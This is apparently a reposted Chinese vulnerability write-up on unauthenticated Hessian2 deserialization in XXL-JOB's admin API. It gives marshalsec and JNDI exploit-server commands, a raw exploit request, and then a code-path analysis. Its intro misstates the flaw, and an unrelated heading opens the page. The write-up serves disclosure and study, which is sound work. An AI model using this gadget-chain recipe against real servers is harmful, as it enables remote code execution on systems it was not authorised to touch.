14个文本转图像AI API
漏洞分析 | xxl-job前台api未授权Hessian2反序列化
XXL-JOB是一个分布式任务调度平台。Hessian2是一种序列化协议,用于在XXL-JOB前后端之间传输数据。前台API未授权Hessian2反序列化是指,客户端请求XXL-JOB的前台API时,没有提供正确的认证信息,导致服务端无法正确地对请求进行反序列化处理。
0x01 漏洞复现
使用marshalsec生成hessian反序列化数据:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:1099/remoteExploit8 > xxx/xxl-job/cmd.ser
项目地址:
https://github.com/mbechler/marshalsec
使用JNDI-Injection-Exploit-Plus监听rmi请求:
java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
项目地址:
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
发送请求包:
数据包:
POST /xxl-job-admin/api HTTP/1.1
Host: 192.168.22.5:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: x-application/hessian
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{{file(xxx/java/xxl-job/cmd.ser)}}
0x02 漏洞分析
0x02.1 漏洞搭建
版本小于2.0.2
直接clone源码后修改logback.xml的log.path为本地文件路径,然后导入MySQL文件,直接启动即可:
0x02.2 漏洞分析
根据请求的接口为api查找到对应的Controller为com.xxl.job.admin.controller.JobApiController,@PermessionLimit(limit=false)这里将limit设置为false就不需要鉴权,进入到这里直接进入下一步:
进入
com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService
在这里面没有做任何操作:
随后就会进入到
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle中
首先判断target是否为/services,不是则会进入
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中
对请求进行处理:
进入到
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中
首先将请求中的body全部读取出来,读取出来的则会直接进行反序列化操作:
接下来就是查找是那个类进行反序列化操作,主要通过查找XxlRpcProviderFactory这个工厂类在那些地方被初始化,直接使用idea右键的find Usages:
总的就两个地方实例化了这个类:
com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler和com.xxl.job.core.executor.XxlJobExecutor
在这两个类中都是调用
com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法
对成员变量赋值:
而在
com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法中的第二个参数
就是刚才调用的反序列化类,通过工厂类返回给
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest
使用:
这里放进去的反序列化类就是com.xxl.rpc.serialize.impl.HessianSerializer ,这里面其实调用的还是Hessian2进行反序列化:
最终在
com.xxl.rpc.serialize.impl.HessianSerializer#deserialize中进行hessian2
反序列化操作:
本文章转载微信公众号@杂七杂八聊安全